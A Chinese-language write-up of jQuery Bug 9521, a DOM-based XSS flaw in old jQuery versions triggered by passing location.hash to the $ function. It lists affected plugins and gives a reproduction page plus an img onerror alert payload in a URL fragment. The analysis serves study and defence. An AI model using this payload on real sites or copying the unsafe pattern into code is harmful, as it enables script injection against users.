关于 jQuery Bug 9521 XSS 漏洞的简单分析

背景阅读

重申一下关于统一资源定位符(URL, Uniform Resource Locator)各个部分的名称

1
scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]

漏洞相关参考资料

  1. (GFW) https://web.archive.org/web/20110608021534/https://bugs.jquery.com/ticket/9521
  2. (GFW) https://web.archive.org/web/20110611051613/http://ma.la:80/jquery_xss/
  3. https://bugs.jquery.com/ticket/9521

一句话摘要

$(LOCATION.HASH)函数执行时,如果未过滤来自用户输入的location.hash的值,可能导致XSS。

漏洞产生的条件

a. jQuery 版本 <= 1.6.1
b. 开发者直接或间接使用 $(location.hash)
间接使用主要指 某些jQuery插件使用了类似 $(location.hash) 的代码。
或 用户可控 jQuery 的 $ 函数的参数。

影响的浏览器包括 IE, Firefox, Chrome, Opera, 但不含Safari,因为Safari会自动对fragement进行百分号编码(URL encode)。

关于受影响的jQuery插件

  1. https://github.com/rodbegbie/threequarters/blob/master/htdocs/design/threequarters.js#L4-5

  2. https://github.com/vitch/jScrollPane/blob/0e0c0bbf6788354c18447b64dfabc8d4c0523896/script/jquery.jscrollpane.js#L1016

  3. https://github.com/vitch/jScrollPane/blob/master/script/jquery.jscrollpane.js#L1013-1016

  4. https://github.com/kastner/audio-sinner/blob/master/public/javascripts/app.js#L19

  5. https://github.com/steadicat/labels/blob/master/tabs.js#L5-7

  6. https://github.com/steadicat/labels/blob/a0335858db458423b3635676cf783e7fbe929c7c/tabs.js#L5

漏洞详情说明

(由于并非JavaScript专家,以下内容可能有少量偏差)

核心问题在于开发者过于信任用户, 允许用户以某种式控制jQuery选择器的内容

通常情况下是类似如此的形式,http://www.example.com/vulnerable_page.html#<img src=1 onerror=alert("Qihoo360")>
用户可控 fragment字段 (即document.location.hash) ,而开发者过于信任用户输入,认为URL中fragment字段一定是jQuery选择器(selector)。
但事实上,在特定情况下jQuery的$函数可以在DOM中创建HTML元素(html element)。所以恶意用户可以通过构造特殊的fragment字段来执行任意JavaScript代码。

另一种分析视角是,开发者习惯于$函数作为选择器(Selector)的用法,但是$函数也可以在内存或者DOM文档中添加HTML标签。

漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test Page</title>
</head>
<body>
<h1> This is a h1 </h1>
<h2> This is a h2 </h2>
<script src="jquery-1.3.2.js"></script>
<script>
$(location.hash);
</script>
</body>
</html>
  1. 新建一个浏览器标签页
  2. 粘贴类似如下内容到地址栏

    1
    file:///C:/Users/Test/Desktop/jquery_test/client_test/test_jquery_demo2.html#<img src=1 onerror=alert('Qihoo360')>
  3. 按回车

其他资料

jQuery 语法
http://www.runoob.com/jquery/jquery-syntax.html

各版本jQuery下载
https://code.jquery.com/jquery/

jQuery bug 11290
https://bugs.jquery.com/ticket/11290

影响范围
http://research.insecurelabs.org/jquery/test/

jQuery Bug 9521
https://zhuanlan.zhihu.com/p/27910130